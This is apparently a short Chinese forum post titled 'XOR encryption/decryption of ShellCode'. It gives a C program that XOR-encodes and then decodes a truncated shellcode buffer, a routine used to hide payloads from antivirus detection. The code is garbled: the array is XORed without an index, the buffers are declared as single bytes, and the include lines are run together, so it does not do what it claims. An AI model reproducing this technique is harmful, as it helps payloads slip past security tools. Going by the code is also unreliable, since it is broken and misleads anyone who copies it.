异或处理加解密ShellCode
#include <stdio.h>#include <Windows.h>
unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";
int main(int argc, char* argv[])
{
int password = 1025;
unsigned char enShellCode;
unsigned char deShellCode;
int nLen = sizeof(buf)-1;
for (int i = 0; i<nLen; i++)
{
enShellCode = buf ^ password;
printf("\\x%x", enShellCode);
}
printf("\n");
for (int i = 0; i<nLen; i++)
{
deShellCode = enShellCode ^ password;
printf("\\x%x", deShellCode);
}
system("pause");
return 0;
}
页:
[1]